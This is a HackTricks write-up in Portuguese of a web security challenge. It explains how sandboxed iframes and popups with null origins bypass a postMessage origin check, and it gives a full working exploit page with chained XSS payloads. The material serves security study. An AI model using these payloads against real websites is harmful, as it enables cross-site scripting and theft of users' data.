hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
2023-06-06 18:56:34 +00:00

6.8 KiB

Bypassando SOP com Iframes - 1

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Iframes em SOP-1

Neste desafio criado por NDevTK e Terjanq, você precisa explorar um XSS no código.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
  const data = e.data;
  if (e.origin !== window.origin && data.identifier !== identifier) return;
  if (data.type === 'render') {
    renderContainer.innerHTML = data.body;
  }
}

O principal problema é que a página principal usa o DomPurify para enviar o data.body, então, para enviar seus próprios dados html para esse código, você precisa burlar e.origin !== window.origin.

Vamos ver a solução que eles propõem.

Burlando SOP 1 (e.origin === null)

Quando //example.org é incorporado em um iframe com sandbox, a origem da página será null, ou seja, window.origin === null. Então, apenas incorporando o iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> poderíamos forçar a origem null.

Se a página fosse incorporável, você poderia burlar essa proteção dessa maneira (os cookies também podem precisar ser definidos como SameSite=None).

Burlando SOP 2 (window.origin === null)

O fato menos conhecido é que, quando o valor do sandbox allow-popups é definido, a popup aberta herdará todos os atributos com sandbox a menos que allow-popups-to-escape-sandbox seja definido.
Portanto, abrir uma popup de uma origem nula fará com que o window.origin dentro da popup também seja null.

Solução do desafio

Portanto, para este desafio, pode-se criar um iframe, abrir uma popup para a página com o manipulador de código XSS vulnerável (/iframe.php), como window.origin === e.origin porque ambos são null, é possível enviar um payload que irá explorar o XSS.

Esse payload obterá o identificador e enviará um XSS de volta para a página superior (a página que abriu a popup), que mudará de localização para o vulnerável /iframe.php. Como o identificador é conhecido, não importa que a condição window.origin === e.origin não seja satisfeita (lembre-se, a origem é a popup do iframe que tem origem null) porque data.identifier === identifier. Então, o XSS será acionado novamente, desta vez na origem correta.

<body>
  <script>
    f = document.createElement('iframe');
    
    // Needed flags
    f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
    
    // Second communication with /iframe.php (this is the top page relocated)
    // This will execute the alert in the correct origin
    const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
      x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
    },1000);`.replaceAll('\n',' ');
   
   // Initial communication
   // Open /iframe.php in a popup, both iframes and popup will have "null" as origin
   // Then, bypass window.origin === e.origin to steal the identifier and communicate
   // with the top with the second XSS payload
    f.srcdoc = `
    <h1>Click me!</h1>
    <script>
      onclick = e => {
        let w = open('https://so-xss.terjanq.me/iframe.php');
        onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
        setTimeout(_ => {
          w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
        }, 1000);
      };
    <\/script>
    `
    document.body.appendChild(f);
  </script>
</body>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥